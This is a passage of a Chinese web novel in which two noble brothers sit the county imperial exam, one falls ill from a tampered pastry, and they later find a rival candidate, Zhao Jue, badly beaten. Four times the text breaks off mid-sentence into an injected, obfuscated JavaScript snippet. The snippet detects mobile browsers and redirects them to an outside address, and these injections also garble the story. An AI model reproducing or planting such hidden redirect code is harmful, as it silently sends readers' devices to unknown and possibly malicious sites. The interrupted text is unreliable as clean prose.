“还有这个这个！”游雅从食篮底翻出两块纸包，印有宝肆的“及第酥”字样，应也是图个吉利的。 但，只有两块。 游乘看看刘与之，说自己不饿，顺势把游雅的小手牵去刘与之的跟前，“便宜子应了！” 游雅望着刘与之，眼睛眨巴，“子应哥哥，快吃！丫丫祝哥哥高中榜首！” 盛情难却，何况还是五岁大的雅妹妹。 刘与之伸手来接及第酥，不自觉打个饱嗝。他早晨出门，奶娘迫他吃了三大碗粥，说怕他在考场挨饿。 “哥哥太饱吃不下了么……”游雅圆目霎时耷拉下去。 她的手，连同那块酥都被游余接住。游余三两下剥去纸包，一口全塞进嘴里，话音含糊，“好吃！真好吃！” 见他还要吃剩下那块，游乘和刘与之同时劝阻，“贪食，肚疼。” 游雅递来便捷水袋，“二哥哥吃了丫丫的酥，定能超越乘哥哥和子应哥哥，一举夺魁！” 能不能夺魁，尚难说。现下，入场队伍越来越短，万不好再耽误了。游乘让虞次送游雅回马车，牵着游余，与刘与之朝县学的辕门而去。 在辕门处，三人提交亲供和户结保单，听差役唱名，才可通过辕门，到达仪门。而在仪门处，无论出身如何，所有考生都需解发、脱鞋，检查是否夹带，随后领取“号签”，拿到按天地玄黄排序的座位号。 此外，上京的县试不像地方，顺天府会派员在现场监督。 “那位就是顺天府丞，正四品，”游余介绍道。 游乘和刘与之顺着看过去，见那府丞也正看着他们几人，微微颔首，必然是知晓他们出身家世的。 果不其然，那负责查验的差役起身，对刘与之拱礼，“天冷，还请小公子快入天字号舍。” 周围安静下来，刘与之原是站在三人之中的最末。他一摆手，“不必了。”说着便主动解开发髻，解开外衣，打开食篮和书箱。 二月的晨风夹带寒气，差役面色尴尬，只好加快动作，以免害刘与之受冻染病，被左都御史刘家盯上，后果不堪设想。 查完了刘与之，轮到大理寺卿游家的游余、游乘，差役不敢再说别的，一律公事公办。 刘与之的号舍在天字，游乘、游余在地字，这两段的环境最优，相应地，也离厕号最远。 “二弟怎么？可是又疼了？”游乘扶住游余的肩，低头摁了摁他的肚腹。 游余的脸早皱成一团，“不行，我先去厕号！” 游乘追了两步，小声叮嘱，“再试试虎口的穴位。” “在哪儿？我有点忘了……”游余跑回来。 游乘认真示范一遍，“你不该贪食的。” 说的正是他多吃了游雅送来的那块及第酥，那种酥，油大又是面食，很容易消化不良引发腹泻。 “大哥不爱吃，子应又吃不下，我再不吃，丫丫会难过嘛！”游余总一肚子歪理，但他绝对是一副好心肠，“没事，多跑几次厕号而已。” 周围全是监场的差役，考生不可逗留，更不能交头接耳。 游乘目送游余去了厕号，依序在地字第一位的号舍落座。 正摆放笔墨，面前走过一道身影，便是他二弟游余。 从游余昂首的步态来看，意外事件应不会影响今日应试。 考卷到手，第一道是四书题，选的是《论语.学而》里的二则，要求阐发义理。此二题是必考，一般不难，但有时碰上故意刁钻，空着第一道的情况常有发生。 游乘握住笔，稍作思索，墨落纸面，缓缓洇开。 一道答毕，第二道是五经题，考生任选一经作答。游乘较通《周易》遂选《周易》。 题面为：干父之蛊，有子，考无咎。（《蛊》卦初六爻辞） 译为：儿子匡正父亲的积弊，这样的后代能使亡父（祖先）免遭责难。 本朝对这一篇的解析分了三四个流派，其中最广为流传的，是游乘的尊师袁敞所撰。袁敞强调“干蛊不如防蛊”，不仅批驳“子为父隐”的“愚孝”，更突出家族责任传承。已故的前内阁首辅也曾引用此句，论证“革积弊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011166|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的合法性。（1） 噔噔噔。 有人从号舍前跑过去。 游乘抬头晚了，只瞧见个眼熟的背影，那顶风帽是他二弟游余的。看游余跑去的方向，应该又是厕号。 他放下笔，拿起案上的水袋，一口气喝完，而后，举牌示意邻近的监考差役。 一般情况，监考差役不可靠近号舍，所以那差役站在离他一丈远的地方，问道，“何事？” 游乘晃了晃空水袋，“想讨点热水喝。” 差役正要拒绝，一旁另一个差役拉住他，对游乘说：“公子稍等，下官去请示。” 二人退下时，边耳语，边回头看游乘。 游乘继续拱礼，也趁机望了一眼厕号，二弟游余捂着肚子回来了。 兄弟俩打个照面，游余苦笑，钻进自己的号舍，趴在案上，慢慢地写，偶尔拧开水袋，喝水，冻得嘴唇发抖。 游乘的考题也没答完，他坐下边写边等差役，可等他完成最后的试帖诗，差役居然还没来。再一看周围，十丈之内都没了差役的影子，怕是有意避开他的。 不过是想讨点热水，何至于绝情至此。 正想着，二弟游余的号舍传来惊呼。 游乘担心地起了身，那几个躲开的差役已经站在那边，接着，提药箱的医官赶到，将游余扶到号舍外。 不知医官问了游余什么，游余直摆手、摇头，医官便给了他几粒药丸，就着差役送来的热水服下。 “公子还能继续考么？”差役高声问道。 游余靠在医官肩上，脸色煞白，却点点头，没有回答。 医官叹了气，和差役一起将他扶回号舍内。 差役退下，医官退下。 那号舍前没人了，游余依旧趴在案上，握着笔，慢慢写。 “请问，他有热水喝么？” 游乘见一个差役绕过来，起身拱礼，冒着可能被赶出场的风险打听。 差役一愣，似乎察觉游乘与刚才闹肚疼的考生相像，便松了口气，笑着宽慰道，“那是你弟弟？公子放心，弟弟的水袋已灌满了热水。” 游乘再拱礼，“多谢恩公。” 差役又是一笑，“看公子字迹，一笔不苟，堪作程本，来日定是榜首！” 游乘道谢，“字乃小技，恩公过誉。” 县试第一场结束在申时，日落之后。 游乘出来时，刘与之一见他便问起病倒了的游余。 “不知彦维情况如何？哦，我是担心他的身体，”刘与之说。 游乘的号舍离得近，离场前，看游余趴在案上，似乎这最简单的第一场考试竟耗尽了游余的体力，“应该没事。” 一转眼，门口又有骚乱。 差役喊着“肃静”冲了过去，游乘和刘与之交换一眼，拔腿就朝那边跑。 “晕倒那个，是司宁侯府的嫡长孙，游余。” “挺好笑的……考试考到力竭、晕倒，也算出风头了！” “哈哈哈哈哈！赵兄你嘴下留情！” “难道我说错了？科举虽是文比，身体却是首要啊！这些勋贵子弟，成日奢靡度日，当然体虚！” 游乘拨开最后一层人，终于见到靠坐在门槛上的游余。 “二弟？你醒醒？”游乘拍了拍游余的脸，毫无反应。 头顶有人呱噪：“唉呀，你家二弟这是……死了？” 砰。 不等游乘出手，一记拳头砸在那人脸上，让人倒了地。 20. 第一场放榜 “夭寿啊！勋贵子弟打人噜！” 不知人群里谁带头喊了一句，越来越多的考生围拢上来。 游乘被困在中心，只觉呼吸不畅。他将昏迷的游余拉到背上，起身，对刘与之叮嘱：“子应，别下重手。” 刘与之骑在那出言不逊的赵氏士子身上，听言，收了拳，居高临下，冷冷下通牒，“不管你是谁，给我听好！明日第二场，我不想再看见你。” 赵氏士子半边眼睛肿了，被旁人拽起来，嘴上却不服，“小子！我认得你是左都御史刘家的！在场的大家快评评理！刘家小子打伤我，现在还威胁我，不准我这寒门学子参加县试！天子脚下，刘家的官威好大啊！” 一时，人群轰动。 可刘与之哪里容得下此等蛮横无理的污蔑。他正要回头补上几拳，不料游乘先一步走到那姓赵的面前。 姓赵的瞧着脸色紧绷的游乘，往后退，“我、我也认得你……” 游乘冷道，“是啊，我是大理寺卿游家的孙辈，游乘，乘势而为的乘。而你，是顺天府丞肖骁的……四姨娘的三姑的二侄子的表姨夫的独子，赵决。” 赵决眨眨眼，“你怎知道得如此——” 游乘继续冷道，“因为，玄蒙兄你是去岁县试的榜首，我便提前打听过玄蒙兄，原还想与兄台结识，请教文章。但现在看来，兄台一身文韬，德行却不堪，根本不配为榜首！也难怪年年科举，年年止步县试。玄蒙兄，你至今还没明白，自己欠缺了什么。” 说罢，他又打量了遍赵决肿高的右脸，叹道，“出街右转，直行，尽头有家医馆。玄蒙兄只管去，就说是游家兄弟的朋友，大夫会尽力治疗，不收诊金。但是玄蒙兄……你混成现在这样，可惜了。” 赵决盯着游乘和刘与之离开的背影，出了神。 直到旁人小声与他道，“这小子说赵兄可惜？何意啊？” 赵决松开捂脸的手，忽而笑道，“刘与之，游乘……有趣！” 又一拍旁人的肩，“走，跟哥哥去顺天府衙，等哥拿了酬银，请你喝酒吃肉！” 呜呼而去，围观的人群立时散开来。 提刀的差役躲到此刻才现了身，或维持秩序，或返回清扫号舍，以备明日县试第二场。 侧巷里，顺天府丞肖骁站在马车边，恭敬行礼，唤道：“李大人。” “哼！事情办成这样，怎么？还想听我夸你几句？”马车里骂道。 肖骁的脑袋压得更低，“……那个游乘小小年纪，说话办事，滴水不漏，赵决有几分口才，却不是他的对手。” “我不想听这些辩解，只问你一句。还想救赵斯么？他的日子，好过不好过，全看你和赵决了。” 此赵斯，便是都察院七品监察御史，也是赵决的庶兄，赵家在朝中为官的独苗。前日，赵斯受刘与之所托，伙同礼科给事中，到司宁侯府演了场“登门威胁”的戏，坏了李经章的局，自然不得善果。 此番李经资代表兄长出面，以赵斯的命为威胁，通过顺天府丞肖骁，找上赵决，答应只要赵决用精绝口才煽风点火，搞臭游乘、游余在考生中的名声，不仅赵斯无事了，赵决自己也能拿到来年乡试的榜首。 没错。 李经资向赵决许诺的乃是，上京的乡试榜首。 无论这其中有多少国子监生，多少勋贵子弟，他们统统都要在来年的乡试榜单上，输给“寒门学子”赵决。 “下官明白，定转告赵决，让他保持清醒，记住该做的事。” 马车远去，肖骁直起腰，听差役报，赵决正在顺天府衙等。 “为区区五两银子……赵决，你可真下贱啊！” 肖骁扶正了官帽，走过空寂的巷子，坐上了自己的马车。 医馆后堂。 大夫帮游余盖好被子，到案前提笔写药方，游乘拿来检查一番，刘与之也看了一遍，这才交还给医馆伙计去备药。 “敢问您，舍弟何时能苏醒？”游乘问道。 大夫捋着胡须，“要看他自己身子骨。眼下他脱水严重，但药都喝下了。好的情况是，入夜前能睁开眼。” 刘与之拿银子给大夫，“有劳。” 等大夫离开，游乘要还他钱，他知游乘为人，只好收下。又坐去游余床前，轻抚去冷汗，“这个彦维，缺了根筋似的！考前贪食，腹泻脱水，笔也握不稳，还非要坚持考完。他这不要命的性子，与介舟，简直一模一样。” “我与他，虽非一个肚皮，却在一个院子长大的。” 游乘站在旁边，见游余的手指微动，忙蹲下去，小声喊道，“二弟。” 游余虚弱地应道，“哥哥，我还活着吗？” 游乘笑道，“当然，你试试能不能起身？娘在家等着咱，不好耽搁太久。” “我可以，咱们快回家，”游余抓着游乘的手下了床。 刘与之去前堂取药包，藏在他的书箱里。游乘帮他穿好鞋袜，这才发现他根本站不稳，便又将他背在背上，“到家，我背你回东园，就说……你崴了脚。” “就听哥哥的，”游余坐上马车，靠在游乘的肩上，不知想到什么，哽咽了起来。 刘与之低头一瞧，“你这？难道……今日第一场考得不好？” 游余把脑袋扎进游乘怀中，呜呜大哭，“哥哥，我……我……” “今年不行还有明年，这点事值得你掉金豆子？”游乘递给他帕子，“但是，今年的题那般简单，以你的水平，不至于落榜。” 刘与之赞同，“题确实简单，尤其第二道的《周易》，袁公写过的文章不计其数，不说介舟了，彦维你早倒背如流的吧？” 昏暗里，游余抬了点脑袋，“子应这样想？嘿嘿！其实，我也这样想！” 他泪中带笑的样子着实逗趣，刘与之忍不住朗笑，游乘看着怀中的他，亦大笑不停。 侯府门前，游乘下马车时背着游余。 门房小厮上来关切，游余解释是崴了脚，小厮们便了然地退下了，似乎觉得崴脚崴得合理。 在东园见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018689|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了母亲容氏，兄弟俩仍是这一套说辞。 容氏没多问，让阿桔烧热水，亲自为游余脱了鞋袜，热敷。 游余靠着容芝忍不住道，“母亲不想知道我考得如何？” 容芝把半湿的帕巾敷在他的脚踝，“你肯定能中，你哥哥也没问题，你俩，应该能占个榜一、榜二吧！” 端着药碗进来的游乘，听了这话，道：“明日才放榜，娘这话说得太早。” 游余也道，“对。娘都不知道，今日在考场，我——” 他嘴里被塞了一碗药，苦味在舌尖瞬间蔓延，苦得他无法再张口说下去。 游乘看他喝完第一副药，又塞给他一颗蜜饯，“这是阿桔姑姑熬的补气汤，我在小厨房喝了，给你端一碗。” 游余悄悄转眼，看母亲容氏，话却是对游乘说，“多谢大哥，有好事都想着我！” 饿了一日，也折腾了一日。兄弟俩吃完晚膳，各自回屋温书。正堂点了烛台，容芝边缝风帽，边等游怜山回了家。 夫妻俩一个食饭，一个陪同，不约而同说起今日的县试。 容芝是听阿桔从街上打听回来的，得知游余竟腹泻不支、晕倒在考场门前。她只恨，早晨没亲自送俩孩子去县学，但经过此事，也正好验证了她对三房李氏的试探。 昨晚，她去找四房游雅帮忙送今早的药，引得三房李氏出了手，借游雅之手，投喂了两块过期及第酥。 所幸游乘戒心高，免于受难，却苦了游余，害得差点没完成县试第一场。 “你太小瞧游余！他与他哥斗着气，不可能写不完，”游怜山对孩子颇有自信。 容芝又想了想，“不管怎样，我得给李氏安排点宅院外的事，不让她有接近孩子的机会。” 这也是游怜山所想，“咱不足斋生意越做越大，也该给李氏开一间分店了。” 容芝愣了下，“我正有此意！白日已看好了铺子，就在不足斋后面一条街。”说着，缓缓掏出袖口里的宅院买卖契约。 游怜山放下筷子，拿起那买卖契，“尔惑给你的？” 容芝点了头，“晌午，我去过千家胡同，一说要开分店，尔惑便给了我这间铺子，价钱是六百两银，贵是贵了点，但地段极好，是六部官员往来的必经之路。” 游怜山听罢，恍然，“把李氏明晃晃拘在那个地界，她爹李经章每日都能看见她，却无计可施。尔惑这一招，恶毒啊！” 容芝却看透了此计谋的本质，“李经章哪知道有尔惑的存在，还不都怪在你、我头上？不行，你多买几个暗卫跟着游乘、游余。往后，他俩只会更危险。” 东园的烛火燃到了后半夜。 隔天一早，游余比平时醒得更早。他记挂着县学门前的张榜栏，便不打扰父母与哥哥游乘，悄悄洗漱，独自前往。 虞次为他驾车，赶到张榜栏前时早是人山人海。游余坐在车里等，看虞次跑过去又跑回来，巴巴地问：“怎样？榜首是谁？” 虞次拱手，未开口先叹了一声。 21. 县试第二场 拿不到榜首，在游余的意料中，毕竟今岁有他哥这个大魔王同考。可他万没想到，自己连第二也没保住，仅仅屈居第三。 瞧着那十丈外的鲜红榜单，游余怕是虞次看错，自己几步冲到近处去。他哥名字底下的“赵决”，赫然在目，就是此“赵决”占了本该属于他的位次。 “彦维今日这么早到？” 正低头沮丧，游余的肩被身后站着的刘与之揽住。 担心刘与之又要问一遍榜单排名，游余干脆先说，自己起太早，时辰还早，想回马车睡个回笼觉。 刘与之没在意，松开他，只问：“你哥没来？” 游余头也没回地走，赌着气，“……他不来了。” 这话惹得刘与之急了，忙跑来认真打听，“彦维没开玩笑？说说，介舟弃考是出了何事？病了？伤了？还是被禁足了？” 游余甩开他扣在肩上的手，“子应，你听好！我们游家、我爹、我娘，都对我哥非常非常好！至于他为何弃考了，你去问他。别问我……” 刘与之怔忪片刻，似猜到游余心结，“你真没考好？和你哥名次差太多？这个，其实，你不用在意的。袁公不是说过么，你哥是百年难遇的奇才，他今后要走的路，与咱们不一样。” 游余被误解气得胸口起伏，“我哥什么人，我明白得很，也从没奢望能超过我哥，但是……为何连赵决也超到我前面！” 真相揭晓，刘与之快步到那张榜栏前，仔细确认一番。旁边考生拱手恭喜，祝贺刘与之高中第四。刘与之回笑，眉头却紧皱，“这赵决，有几分才学。” “没事，第一场而已，你想赢赵决，以后多的是机会，”刘与之追上游余，笑着哄弟弟。 “子应位列第四，根本不懂我这第三的难受……”游余爬上自家马车，乖乖拿出带的书，不发一言翻看起来。 刘与之不便打扰他温习，一回头，见游乘站在马车下，笑道：“介舟几时来的？你，听见你弟的话了？那赶紧劝劝，我对小屁孩是没辙了。” 游乘摇头，明显不想劝，“多看看书，有什么不好？” 又拉着刘与之往外走了几步，指着不远处的张榜栏，“那赵决，考了第二，是有才的。可惜他家中一团糟，恐怕，此次仍是过不了县试。” 刘与之转回头，“介舟何出此言？” 游乘说起前日请的监察御史赵斯，“那是赵决的庶兄，也是赵决唯一的亲人。我让虞次打听了，说，赵斯现下被外派西南，兄弟分离，再回来便不知几时了。” 见他眉眼微低，刘与之将身站直，“可是我爹那日罚我，分明许诺了我，不会追究赵斯的责任。” 游乘回神，眼底诧然，“你……被你爹罚了？可有受伤？” 刘与之摆手，“放心！我爹罚我，向来罚抄书、写文章。咱家不像你家，从不罚跪祠堂。” 游乘闻言笑了笑，“你知道吗？我家一共三个叔伯，被罚过跪祠堂的，只有我爹这嫡长子。算了，一会要入场考试，不能总说这些不开心的。” 仰头，望东面天渐亮。 游乘请刘与之喝了一碗热汤，手脚都暖和多了，便敲了敲马车，提醒二弟游余该下来排队。 游余跳下马车，喊声“大哥”，拱手祝贺大哥夺下榜首。游乘见他眼角的泪痕，用帕子替他擦干，“县试还有两场，不可松懈，多看书是对的。” “可我到底赢不了哥哥，”游余闷闷地提上书箱，跟在游乘身后。 游乘回头，“但你有机会赢过赵决，难道，不想赢？今日考完，我拿几篇他写的文章，咱们一起研究一下？” 游余眨眨眼，终是露出笑，“对啊！知己知彼，我还怕他不成？不知他这次的试帖诗写的什么……” 说着，他边蹦边跳，一个人跑去了前头。 “你真有办法哄孩子！” 刘与之撞了下游乘的胳膊，“那刚还哭呢，这就干劲十足了。” 游乘叹道，“受教于我母亲。成日见母亲哄我弟，就晓得他喜欢听什么了。” 刘与之清清嗓子，“那介舟也鼓励鼓励我？” 游乘瞧他一眼，“你不需要。” “为何？” “你考科举是玩玩的，和我们兄弟不一样。” 刘与之被他一语中的，不觉愣在了原地。 须臾，他高道，“介舟眼光犀利啊！” 入号舍的规矩和前日一般。非要讲哪里不太一样，便是周围考生见了他三人，多了些热情。而那顺天府丞肖骁，也没再在一旁监视。 三人在入口分开，游乘领着游余往“地”字号舍走，冷不防听见差役喊“肖大人”。 再抬头，一身红官服的肖骁立在了二人跟前。 不等游乘游余行礼，肖骁先说，“给二位小公子道喜。 能让此人亲自来，想必是有很重要的事。 游乘与游余回了礼，四下看了圈，对肖骁笑道：“大人有事相说，能不能等到今日考毕？” 肖骁亦是笑，“不过一句话的事，现在说也没事吧。” 周围已有考生投来探究的目光。 游乘便抓紧时间问道，“不知究竟何事，要劳动府丞大人？” “二位公子是昨日首场的榜首、榜三，本官想邀请二位去府衙座谈，”肖骁抱手道。 这是本朝科举的习俗。游乘怕是鸿门宴，也不好直接拒绝，便停下想了想。不料游余上前一步，扬眉对肖骁道，“榜二赵决，他也会去吗？” “他，”肖骁似乎被问住，抱着的手，用力搓了搓，“他会去！” 游余接道，“他去，我也去。” 有人在偷笑，是肖骁身边的差役，正捂着嘴。 游乘盯着那差役，将二弟游余往身边护，“舍弟想与赵兄探讨文章，勤奋好学，敢问，有什么问题？” 肖骁面上一僵，抬起一脚，踹在那差役的膝盖外，“懂事么你？自己下去领十杖！” “是，”差役苦着脸退下。 “事情说定，本官不打扰二位公子考试，咱们申时见！” “可我们，并没答应肖大人啊。” 肖骁把抬高的脚放下，看游乘游余的眸光变冷了，“那请问二位——” 游乘笑着拱礼，“早晨出门，我与母亲说好，考完就回家，不好在外耽搁，所以，肖大人见谅。” 听言游余亦拱礼，“您见谅！” 地字第一间号舍是游乘的，游余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022397|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在此稍停了停，“哥，幸好你拉住我，不然去了今晚的鸿门宴，怕是不能活着回家了。” 游乘打开书箱，摆放笔墨，“你想见赵决，咱们考完去他家中。” 因有哥哥画的大饼，游余在考卷最后的小策论立意上，思虑良久，用尽巧思，就想在第二场赢过赵决。 日落后游余与哥哥游乘汇合，二人稍等一刻，刘与之提着书箱跑出来，到面前时咳了两声。 “又不是不等你，子应不该着急，”游余学哥哥的样，帮刘与之顺背。 刘与之缩起脖子，直躲，“彦维还是正常些吧，你这样，我害怕你在后背刺我一刀。” 游余挠了挠耳朵，“我？背刺子应？那不可能，我长这么大，还没玩过刀呢！”语罢，提溜起书箱，蹦跳着跑向马车。 刘与之拽住游乘，“介舟我说真的，千万别让你弟学玩刀，太危险。” 游乘点了点头，“我懂。” 又说起要去拜访赵决之事，刘与之清清嗓子，仍是哑的，“有点病了，我可能要先看大夫。” 近来入春，百花齐放。 偏巧刘与之闻不得花香，早回家，也好。 赵决家住在千家胡同附近。 据虞次介绍，那一带住的人鱼龙混杂，但宅子很便宜。赵决的庶兄赵斯只是七品监察御史，能用俸禄买宅子，已是不易。 到胡同口，游余瞧着那茶庄门外的招幌，很是稀奇。他跑过去，站在那底下，忽闪忽闪双臂，问游乘道，“哥你看我像不像蝴蝶？” 游乘边说像，边把他扯回身边，以防他碰倒了什么。 第三间就是赵决家。这宅子的外观看来相当整洁，门口石墩子上还养着一盆细弱的文竹，但花盆歪去一边，洒了半盆土。 游乘抓住游余想去扶正的手，牢牢牵紧，推开了虚掩的门。 “赵决在吗？”游余往里走，扫视这间内院，和外观一致，也很整洁，只是晾晒的被子掉在地上，仿佛，刚有人来此打斗过。 “玄蒙兄！” 游乘感觉不妙，抱起地上的被子，不请自入。 但见屋里的床下斜躺着个人，他忙冲上去扶起，“玄蒙兄？你醒醒？” 游余拍拍赵决的脸，“哥，他是不是死了？” “别瞎说。” 游乘余光一转，见地上有滩新鲜血迹，忙抬脚搓去。 而后，他对游余说，“你在此看着他，我去请大夫！” 正起身，闭着眼的赵决开口咕哝了一嘴。 游乘没听清，俯在赵决身前，凑近他耳朵，“玄蒙兄，你能否再说一次？” “……”赵决嘴角牵动，似笑似哭，却没发出声音。 “哥哥快去请大夫！”游余往外推游乘。 游乘回过神，叮嘱游余，“拿被子给他盖上，还有，保持和他说话。” 不出意外，赵决便是被人找上门揍了一顿。 虽不知具体是谁，此事定和顺天府丞肖骁脱不掉关系。 游乘跑出院，沿着巷子跑，没留意，迎面撞上了人。 对方扶住他的肩，喊了声，“游大公子？” 此人身着低品朝服，侧襟缝有补丁，脸孔板正，剑眉微皱。 22. 雷暴致停考 “见过赵御史！”游乘拱礼，回头看那赵家宅门。他多耽误一刻，赵决断气的危险就多一分。 “大公子来找吾弟？何不进院？还是，他不在？”赵斯问道。 “他在……但受了点伤，我让舍弟陪着他，既然赵御史回来，赶紧进去看看！”游乘说着，抬腿继续往前跑。来此地时，他留意到茶庄斜面有间药铺，里面定有坐堂大夫。 可他的胳膊被赵斯扯住了。 “大公子这是要去哪儿？”赵斯面色诧异。 “我去前头药铺，再不请医来，玄蒙兄会死的！”游乘来不及多说，猛地甩开赵斯的手，却见赵斯追上他，告诉他那药铺的大夫刚才出诊了，最近的医馆在两条街之外。 那么远。 “我去吧，”赵斯让游乘回宅子等，向茶庄旁的房牙行借了匹马，策马扬鞭而去。 “游大公子？这有些金创药，你先拿去救人。” 与游乘搭话的，是那房牙行的伙计。中年男子佩着长剑，一身灰白打扮，气度看似不凡。大概见游乘站着未动，那伙计上前，直接将药盒塞到他怀中，“还犹豫什么？难道你想眼睁睁看着朋友死？” “他不能死！我先救人，回头再来还兄台银子。” “快去。” 跑进赵家里屋，游乘听游余在唱不知名的曲儿，稍微松了口气。这常跑偏的弟弟，正经时是相当靠谱的。 “哥怎么一个人回来？没找到大夫？”游余惊讶。 游乘没回答，将赵决的身子翻面，撕开染血的外衣，见他满背是细长骇人的鞭痕。虽说赵决出身穷苦，却是读书人，见如此惨状发生在一个文弱书生头上，连游余都倒抽了凉气。 “太残忍了，究竟是谁？”游余气愤道。 游乘取出金创药，仔细抹在那些伤口上。本不想让游余牵扯进这事，他眼下也瞒不住了，便说，“这赵决的哥哥，是监察御史。” 游余霎时压低声线，“就是那去咱家演戏的御史？那……对赵决下手的是……刘家？” “当然不是刘家，刘与之父亲位居正二品，没必要和七品小御史的家人斗气。” “对。从子应的为人品行来看，他父亲定也是正直坦荡的。那，还会是谁？” “别忘了那顺天府丞，肖骁。” “肖骁与赵决不是远房亲戚么？难道那天在县学……赵决是受肖骁逼迫，才对我们口出恶言？” 游乘给赵决盖上了被，夸道，“余儿脑子就是快，为兄还没想到这一点。” 游余嘿嘿笑，再看地上的赵决，眼神柔软，“他也是可怜人，入了这场乱局，挨了这顿打，差点把命交代了。” 屋外响起闷雷，大约快下暴雨。 游乘替游余理了理风帽，去屋门口望了望，依稀听见马蹄声。 没一会，赵斯领着位大夫进了院，匆匆与游乘打个照面，“多谢公子照看舍弟。” 游乘点点头，顺势拉住赵斯，“治伤是大夫的事，赵御史不如与晚辈说说话。” “也好，”赵斯看看屋里。 大夫正在问这么好的金创药哪儿来得，床下的游家二公子却只关心药对伤势有没有好处。大夫说，宫里的药怎会没用？ “宫里的？”游余看向游乘，“哥哥随身带了药，不早拿出来？” 游乘说自己着急给忘了，可他记得那金创药是房牙行伙计给的。这千家胡同，果然藏龙卧虎，名不虚传。 “大公子，想与赵某聊什么？”赵斯温和的话音拉回游乘的思绪。 游乘看着他，“赵御史待我们兄弟如此客气，就不怕，是我俩打了玄蒙兄？” 毕竟他们兄弟与赵决有仇，正好来了赵家，也正好赵决挨打受了重伤，天底下绝没有如此巧合的事。 但见赵斯笑了笑，“若是你们下的手，便不会为舍弟请大夫，还拿出宫里的金创药救他了。” 游乘又问，“那赵御史知道是谁打的？” 赵斯垂头，苦笑一声，“知道又如何？”看起来他们不是第一次挨打，而这一次也打算忍气吞声。 “赵御史！” 噔噔噔，游余跑了出来，“朗朗乾坤，百姓受到不公待遇，应该报官，让恶人得到律法制裁！” 赵斯的表情仿佛听了笑话，摇头道，“律法只会保护勋贵人家！像我与舍弟这样的底层小百姓，并非律法保护的对象。” “这话不对！赵御史，咱现在去就县衙报官，你家的事，我管定了！” 说着游余回屋请大夫帮照看赵决，二话不说拉赵斯往院外走。 游乘自然追了上去。头顶飘下了小雨，气温又冷了些，三人快步跑出巷子，坐上游家的马车，前往县衙。 “下了雨，明日县试要受影响了，”赵斯掀开布帘看天，竟是阴云密布，层层叠叠，颇有点暴雨前夕的压抑气氛。 游余看见哥哥游乘的指尖快速轻点，便问道，“哥哥算了？明日真有暴雨？” “难说，要看具体卦象，视子夜情况而定，”游乘通晓《周易》，卜算天象不在话下，却从不贸然打诳语。 “还是别下雨的好，不然怎么考试？”游余吐出长气。 赵斯温笑道，“二公子吉人天相，不必担心。” 糖衣软话，对游余的杀伤力极大。 他听着受用，便拍着胸脯对赵斯许诺，“赵御史家这事碰上我，就对了！但凡那县衙敢蔑视律法，包庇官吏，我帮你把案子告到我祖父的大理寺去！” 告大理寺。身为监察御史，赵斯吃的盐比游余吃的糖都多，他抿了抿唇，许不想打击游余，应道，“谢二公子。” 再转一条街，就到了县衙。 赵斯瞧见红漆的大门前掌着灯笼，守门衙役列成两队，威武庄重，在这场逐渐变大的雨里，县衙的门槛显得又高又宽。 “二公子，告状流程可不简单。我留弟弟一人在家，万一他伤情恶化，怕要抱憾终身！要不今日先不告，等来日弟弟伤好，带他一起来？”这一路的工夫，赵斯已想好了托辞。 已到了门前就差临门一脚，游余是不甘心的，正欲再劝一劝赵斯，手却被哥哥游乘摁住。 游乘对他轻轻摇了头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029681|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他稍微冷静下来，看着一脸干笑的赵斯说，“也行！等县试结束，放了榜，咱们和赵决一起来县衙告状。有赵决的人证在，案子更容易判定。而且这案子到底是你赵家的，具体怎么办，也得你自家兄弟商量着来。我和我哥，只能提建议。” 游乘松开游余的手，“正是，弟弟所言，即是我心中所想。” 赵斯闻言也松了口气，“那……便由我送二位公子回侯府吧。” 前往司宁侯府的马车里，豆大的雨滴砸在车顶，三人谁也没说话，各自陷入沉默。 等马车在侯府前停下，游乘让赵斯稍等，他找门房小厮牵来一匹马，方便赵斯快些赶回千家胡同。 